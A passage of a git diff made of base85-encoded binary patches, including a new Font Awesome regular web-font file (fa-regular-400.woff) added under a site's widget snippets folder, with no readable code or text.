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 bMX1cpc?scf@6G-KdBTf-{AinZ?ft(1jXHOb literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.woff b/pages/widgets/_snippets/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000000000000000000000000000000000000..24de566a5c97289a86ce0c238a195da0d3251263 GIT binary patch literal 16800 zcmZ5{V~{9K%Y465lccMrGSxMmiJP35 z7yux^uL$M?!2UOe&;UvU!TdM-|3yqp`40d9Aj2<@{R^DfaxMjN5mB*UPUcs~`yWsN z|y066~s+A#lu4Fgm4(EOJK0N}*<)$xBp0>TQkU~c2= z{>yRv>a_p>K*~t<0M6ESM*rEJ{jSUQAI<=$#B2=Qf7j(E_&>e`02cstwgxsPzns9Y z9})lns22A+9iF|NlQRGSuQC7th$H|2c-5zcV3&Kgk-omZF+gC}MkT-CV~vLnmb@lD zfK)tK-*5Qei2pq~v|j-IYQO*)zaz;1Xup^Ld=0#(I06Dv0sb-df-1mO~!FWfRVF(2b#Nu&^P>&P|O8WaD0K8b?*xa*M z7H6cB9T33p_V{d}=9-v|5PA+Mc_ic!bhum?&S9g^c3S&|&np)?BExBb z(G8~PEHDlP36-hlbxCL_yo;jkO>@5_@iwmottP&JBf(5V>8B5zFpOkkGcJLUp-LTg zK`2?WhGfm^kxOU)W~OxeKe$8I?F;G7Ty_Lcy;7+CbKsk3(H?v94ybcLW_P0IKjQly z*4sF}%}xwy)P^#yNgfy5pxQDH!-*eKq*p8X^L|{?ourVFY>}a$)@EKI_LQGHpRT(+ z^{$?GrgXiC=Tn0Jn05Oq>bo5G5j62>tmU|V(~!buO24tiX1irmcHQ7}-pq(I+jujh zE;rNE3bMNEv0CD%E^X2!avYzXHrl_LW3q#y?gqMQq{(b`{c3W(8W8QGm)bI#+rVxe z<@2~DWg)eI60?NSQ-;1Qjq4njc@D?A@TXH2);VNWfp(-k^H~WKb%{$;xT-uHO^FY2 zb|3vS`iLWvm?OHb0T+4Qzl0RFxUK!}r49s!1gK#TfdDSS7B)o2_19?~ zht0v?8U~uzYp?3!<{~#YLGo{IrDvUPPv=YT$Ib1I+R5uop3OIG+`?EpL)sBXvIs}G zy(!k80?#5_?x^t!wJ6YX8d<`?8UthY`87vIue%pv5i0dl`=5!CQZT|sU9l#oC<$AVow9J<{p^O zqO_x@>R-SUjE*ea)ePXN&@Q}QJw4LxWR^S^?O)?du-#xGC?9Zd8I%V5bwX`<8`Llr zo)eXBHMG6wC{GK*;z!VHfl@4=o~2aRQ)F(C8dLE3>O0^2FEUa#Hc~d6#;_cy6Y39Rj0)z(c(fox zs5V|hR5t$xH8n$$+uxr+pP4*j#@Y+orXLO7VZqcv4_TdE788Y7!li`y^D&6vzn&b$ z`91uL^ZES#;P>SpT$A*a+N+Ca5X|$)-nICC`+8K>R~YWAxxA%DWUU42;KaP^9dq_Jv?SV4aYb`2`@|ywqRKS##51f?Zvy3TC1ol^u_xl*5zkDL`ug4F2_D+*bEiNA7vML?kS`9gp2w-{MAc* zM2lh6|0KN)!7lv|I5ZTI?8ZK^JOt3SzeT=kHHXBpx?J?EUfi+T#oBty$YPqI{rFM_nkU4hHKAZq)3iC+T4qF1n8J}R}tKcfA-!5RERCkVQ%k|r}s z$*iigKLRmsb&9&BIR!3kr5d)Drw!II(Mnd!VTfN*&)9`Jm}3(h_u({gJOoqZ3tTMi z!&t@p$LI_)s8CB&a5gV{QZ=sB+1zcfJq%^Y3{9mSVAHf|kGTGeCX>TQ<1%ZNux^dS z>1X4u5{%(k35I|tUPZCF5)qbJkb{X7rS1pf=GVeAdAs_g?x=`OD0u9*TVFgIA3vie zOx<4T*|HHtzTG3NR6GmY?P{-{4`oz&^|t=x(+*Ch%^z<)AQeZ!yn|2EegA46=;hX% zivlgM7#EtsJ^nUzog6M77SeDxHnx}dOWshq$jy#@u>O;BmS{_XE| zng+;FOEyD&6B7-nJ>4az-tDq;Iu0cIi7nh7*KNPk)d*mG=(9@Ix)27O+CRrwlmuq> zO|YYZlHtLk`-A1&+8iu^E=lD&NVb?P^0&Tns*wl=gjGo`JW<}>x1!$cR=`xBVChe` z8#g5}iBSZCZI*CVe=5E)^NsnQ_{US*?8K}Wk1@@_)ACVwE-`8?n zoi9h8-|Oel+xiN7Ari|rH!4(Ovk^$~mH=AyHk(KF=xp29L&Dcb9L@%R1N)R@Ru%)e zZ^(HXAVwFITl^6Tx8*>%39~3j|3JCQWUNTV2}6dmwXpP0uY+5j2~q7}G3JSZ$8X{pX?dqDsj|Rx1T{Cy>>&z1aIU{BFP^bh#>}*| zCaheQgcq;16KreWY_NHEnZm4XV^Wvet)R@Xi8MNV{Dqgq@0q<{=Y?vPkO@dAs|R() zq*61ml?rUzXq`7X2QTHfn_oV4MPZelx+Q)QC&=d2Z)xdA>_2&BO2pa&S?mm>&dXQ~ z()#73Zcw5F-hmD^w*i2@_uO)P9&3-wyH&!Sli;|D!rKwx_}6 zDhOlP9}YHx$iHuCI*AT2|B5twHo<>8uJ``^`?P3LKTWrLA~g#-a|e= zfTfNO)ei13G^NyS8fsZG>2(5!NbO{C1AUA1@ln%VL^RrV8k7p^CdCa_gCOw5N36kE z7lYwRkp@tW>OE4QI~qWgt!l3r!4zPAb{D%CxY`!IPZOk>8(hYGh`W27*M9hpq7O<= zN}gO~@6Q_z_N#%nsk*mX#!q;zcmS8_%&2)y%%D*Pu-QDZ3SOidX*M43(yptjw$%Eh zQ{0+R!Wn$}=4cnIs!{@4VA#;CToET8E)xWH2?fF_Up`nO!N8(A)&E%h3O);;*4bw1N zMj6^KV89U2Dv&%u>Qa!gP;>9DyGi>9b@=u&5+C}oUvIIe;6|1}5RN{|v$2;=e2$|c zD`G}v0;cG%+J|pGQj8emr^UU~yh$Z%{-Zc%-=Vc^zO}%S$GLQz8I^&EGh};6B(+?~Y_{kq6Y8{YsxBzWeU=YE!U6;2@Lr0wM5$XY8 z1@p0ln#?C&$cwQ6Oh^-LX?NFmbtR$SdZJ}zbs1!#etHW6R|FEnN)9w4PPyNf4^3rv zSHaXtlJ5t3IO+|J=HpgvJN_KMx(XNxB%AEUm~UO~CgZ8Kgn+I920y(-MV5*Tm*h$? z5M}l+Zcz|D26jB+3j|P#*f^K&rzX6MR@@G@8UT`ho#7&94%UA*nYjm&60eaOGK=Nz zwc)>IFG`exib1fJZp6Q-%vN$3^i#y|CDmcZnj~xjedyjQhJ}!^D{kc?hhAghP z1kxKZOq}qF==vFp_sI&iSO@yFC-1C-$>Wte8A1G*`%=_6nbc=;!*yf2_6}-ff@5Gf zG_T~r82f1m9IR$k3im7>(nx~i$vkGX zAk7%YWhHkvDpa&0{23v4hmu0X>AB}(N?V;*1=_MNZO zqfm5c9yw=Pn2HOUcvooVIBP6>cibSa4IdSWsX}ohqC|r3_2f>*r6Qaf{-$kOio$9e zT#$mQqZ2-wS~HMbB1x!{jq!;9NrAyTgYddF9bI}_I+TFJM#QK=gjLD{U_cWG zvLZx~P6Q459hlxUbYGv*LKa>Oma9+lc;|MV5Xt?G7|Mwy)GCb29m%3SG;s{79|(pK z!t7r#9{!i5ver+or?*`6n*Oz}F+86%L+H`W>vfMcsUgbMs{6116)Z+X7Gld!IBF*t z%uZ590G=nN1S1MQIOwuI%Y0Z!^|3lUxP#8?oc&k_Hs@>shoXsM6&+N*yy*q>c-?3J zlSxy`K2fQyeFF@vKUC?qaznjSs7>H<82 ze46$yq)3ou{tQn|#6zUUSh#2O(3>Gg(7xHt;q$<>ne8oy<;QdF+xSU0fDn^3Ws-|9 z*3O7T4HO>?Ped*=(rTm`%D|h(R6Bf-KsT0>(Z6EL?T~+NZ%FX7r&};pZ^#HKGNyD5 z&_x~LWBUf%pIo{_dd$m7k5CR&@NqOAj=1`}0D7cQzNVnoX7HAIc31J%%}51&AI{Jz zXxX&4JI~!rV726}E>j$xz25{Uaab3iD;PtsI$@P7!YkAn)NyD!_BwC2#;Te01|;{N z3rdv+=Cvkrq%ih|xWo=rTiU|d8$qA`h;bueV9|iz z`mNm73Rr(|MB!G5;kYti+fI>TjjIHOge*~5k#ahk!FW(XX25Vz9cnxn`qITU&@E9< zh6mCC`b5&d0b&wLb~Scl(8Oq|_zO2EdnNMP1!xD{0Zm`8#zPU3l8YiykX38Bcnx5Z zknl0(aBEf4l#UR4NknNp4p+`-nrVm6jfk6O++yRT4RhnW!*zLlR(c)FPY@azlBieU z^mOQtP0;{8KjSrb-Hxp&K9_Gr^gv!8`n9^sbz_+(Wd~RQ5CZa55N=s`*n<3p$>yeUChyxZG7D}nS#6@e9T>eWCq;SpfAalajpO6 zS64|uj6Ta<@fC=k7lUE8*D*BkqoIs%Q?h`X5_3J3y$S9U$6Eixhj(gouminaaJnl$ zP(0^I+@PahP`edbdW75~Y0GfKV5L6x-qK=e%As5ySJVToE~WX@aAN4lp8?_l&Z+G} zn>CtV?3kmaX&N+|Ax+o3kQC;v!Xf~q>G8Os+2-gPwoJ{93(`RzTj%xJF{7(#bXuY1 zNuD}CqmASfI^7DdW!Z~(zI^v}wu)9Amb%7UpIExI{)P=K&R1ZuT=X!_IW=$7ITULH z0fg^hWnVIBF3nq3x;xET{X}m1E4!-lSy&h1d+%Ka>f+o}0ll<}Privnd;#_0JmSQY z^$hx$_)0_uEqMZrw$T!$4ya4_98%THt4;eBH3jFw)-OBRzB{7YzdIgV=eI?15&?7M zX_Gy$4&Ny0+HDrlrX>B9Ao&|p-S%CBKovFRPOnf><;OVu|AlvE0bkw9K7b9bu)T*TFBzwBU>3s21ov=|tgcAiH4>tzhoN84| zp1*KPRUJW=0je;X5y%Io_`;9`RXQdUIE?&MY|&JHJtcBuhM&jnCYm4%xaePxD0g0c z5Y@rLDJTsR({71SCK**xs+vxzk!M4c}?#lc3?9}b;$Bk2so1W*$ZD}_seW|fH zclU=-l^M##$4QotGv>BI?ZVR>eIUK@K>Ew8AdS0DG?c}X%hG(0m~^o34pV8Wo=63A zWkY~1VB3jOEjNJeOwZJma(kfgkaJmAuhjLlf^A@x2U{|^c(|FBP(|XcPm>M^`m|R| zgyK6h*H;5@qql!G*5wot=wDE>I5nMyPY-;Fs!?y~(i2T=yL>M8ks3#Kg$~IhWpCH$ z8hMi~1t@^v+Qxsj$&sNfh0AzU?}I8zLaCwbp!LvGt=M%)S`C$U3Gv3nWr_$wgMU$% zO7$(L_j-k6VJidqSU5Bk92*cn>=7(T%)@432qhyh8WD*gz2sNGZYckzDeKty#%=)O z%aS_{MKl0TDaJ_bmk0zGH%7L5b!s|g2NdG+W8tV6g(5=VMwV-;ryNrYlklT>_14E3 z*IHpB`EFmbs1AH4IShBBbn<}rS<98%BC5D5HSGd2MbtP$l$Y$P_Q)6Wy8{GG$)wHh zi|>qD7KHYiBs+1IFmZAeLu*QsTCT^ipGBf&cRC`CGjT^*Q!aOJz|L&fh7Mpa%gcjR zr`?BmfwAy16NSNSL{EOs?+qVjR30r?E_I38#331q#M4$WF=k8W8n9rk4n`s>i3b(H zY^b^OX{8CPO;(zK5Oodic5(pu;u}y`hw;Qfx;MBS%Wz+oOah%KcO{<>z}?3f2BAnU z5VAm)9-w#@0sNrA&0!ldVDvbWFx19rWB!R8<*AYuO5rOA^K{mEPG4hf&KI9CjsP6O{WqK^d82*hD*dwFvbGTW1@*>j?47!p8x}mt`FB_ zOUMIT(}i;jtAJQLq(&=EKrf?O6hKKTAuz$MC)g-S5?~g{x3T}xl^E{k>aSu;S2#R<2mk5ZzJPSx0!C|rnF(up( z(pamQ?#z9FC(?z61uX2qIaxPM{0is!(}f?;#r9t#&J-DrPQ#!+Kzly)$@VtcwVNH&Fg9z~@qz>XU46Os)f`+)Mfvs6= ztBL}fewl^h`lLpjkD~+;Ly`tw>(f+C+BH3?`Bs7fEqh1;1=jcq3%aox|5fc1Re^7n z!VNJNEn@pny_yB+24SvM?CrTs*s)SbfqudkC=96dO?jpLN&nb<+?p~)=?WBH@2NPc z#0=Mxf&DTcu9W+YGP>(B!BL&qXXOGDtx?4ARto7k9cSjy($*vNJ77o1OsSM{$pHl+ zWztfuRJ6U^iLAN6$tgq&)nq4(sWs%N@*wq?n^;T7X?8vO*5ilcld8*{_f=+1z%3j7 zZ!bfQ;?gNI;~d;p&?oH1>YNqhj?5R$3&-3co9_aT8PWX()EB&v!`N!! zjnW*WQ+HX+s&c^t$>=|VD8V|xS48W>9A8m2(@p;p(ur8yLvWYwK*(~Q-SmNcU2u=M z2n~Y&&Fj6G6`gF(LDYHcBAzMmfyp5rdPM?zb3caxwyq)Q^TG}N6$K;h+NL-xJQYr( zT=Jh1G)j}*AzXJ9kSko8Cb95!f4_3B(e~wT65i!yQH~M|vR(Nx4AC$x#nE3|WBeHT zxA(l+*b;tnf`518R8_#Hr;>lqfu-9n6PJAN5dJa$f1^ zx{dK?Ckx?d?(c&iIs>BIB=U|gl@=Y_>bjcSXjoZe1%vwKU@o>C7L5+!Z_ z)oHS8_R0)4&P#Rg(RPgwk>@@pB%01xu>xh(>ygoZ&uaLb)MH&uv)00Rd|j@Y;DPD5 zB=$u+3xYOO$b88OmZm=Ac$XTUJ+mm?h1p{+zGm1dUAfq%AmJJD_GdIrU-v|T@&kC` zE5N$nofamhM>MHbS08-i5f3*|k?pthL(^wnVO?OgT<2REQjWQ(+leTZY$mDmDt46N z%m9tjVqf$z$_^<_0Ie=&xSzb5iptLj`MSl|Qq&ASh5_imMkK{#%Hx7*d4u--T60XN z!QKjYgB=+zOMx|&M;lkmTzXL;`9oAzJp3pV_)i~WbAg*`8&;^L*qG91*0uW})5YyW zVC9d$cV1Ta`_o*uROSgKb7B?DAfNm)JNq}&8wPUU05J9%MP*IC_i-t(nJ2p&Ha^Z$Tm2z?_ zA%OKw4H!|T_p|xI;B6IUPGeI+1x=+uTo$q1qdNztrGYec%^UnXkU$wZ(JRhYRP!B4 zq5Ms$pg$DYw2fj{gsYG&)hJszE?oI@ob$Q0iv@Y}`U`|T9toxz9c$*0aMBfI>R4xn zP$;O|!G7|%Mc4$Y=LgKEtENvT&CL^Uxeq$b)Fl(qv83f;epy%U30&qXuHiYnUI$l= zvMVf2McX`$Uj(9Xz`U`*yt-3gR4;fpYZk?fn*~y>!YP_-F4zN7;_4#QzLt=8Sst z!`YQIG^6}D%XA|iPnus9nbwnO1W(a>qHYb-O^h @5E5^jow38oGT;HT{*=6I5BP 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 